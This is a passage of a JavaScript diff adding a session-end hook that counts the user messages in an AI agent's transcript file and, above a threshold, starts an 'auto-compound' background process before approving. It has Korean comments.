+        const buf = Buffer.alloc(maxBytes);
+        const bytesRead = fs.readSync(fd, buf, 0, buf.length, 0);
+        const content = buf.toString('utf-8', 0, bytesRead);
+        let n = 0;
+        for (const line of content.split('\n')) {
+            try {
+                const t = JSON.parse(line).type;
+                if (t === 'user' || t === 'queue-operation')
+                    n += 1;
+            }
+            catch { /* partial last line / non-JSON */ }
+        }
+        return n;
+    }
+    finally {
+        fs.closeSync(fd);
+    }
+}
+/** 순수 판정: 이 입력으로 auto-compound 를 띄울지. (테스트 대상) */
+export function shouldRunSessionEndCompound(input, userMessageCount) {
+    if (!input || typeof input.transcript_path !== 'string' || input.transcript_path.length === 0)
+        return false;
+    return userMessageCount >= MIN_USER_MESSAGES;
+}
+export async function main() {
+    const start = Date.now();
+    try {
+        const input = await readStdinJSON();
+        if (!isHookEnabled('session-end') || !input) {
+            console.log(approve());
+            return;
+        }
+        const { runAutoCompound } = await import('../core/spawn.js');
+        const transcript = input.transcript_path ?? '';
+        let count = 0;
+        if (transcript && fs.existsSync(transcript)) {
+            try {
+                count = countUserMessagesBounded(transcript);
+            }
+            catch (e) {
+                log.debug('user message count 실패', e);
+            }
+        }
+        if (shouldRunSessionEndCompound(input, count)) {
+            const cwd = input.cwd ?? process.cwd();
+            const sessionId = input.session_id ?? path.basename(transcript, '.jsonl');
+            const status = runAutoCompound(cwd, transcript, sessionId, count);
+            log.debug(`SessionEnd auto-compound: ${status} (reason=${input.reason ?? '?'}, msgs=${count})`);
+        }
+        console.log(approve());
+    }
+    catch (e) {
+        log.debug('session-end 실패 (fail-open)', e);
+        console.log(approve());
+    }
+    finally {
+        recordHookTiming('session-end', Date.now() - start, 'SessionEnd');
+    }
+}
+if (process.argv[1] && fs.realpathSync(path.resolve(process.argv[1])) === fileURLToPath(import.meta.url)) {
+    main().catch(() => {
+        console.log(approve());
+    });
+}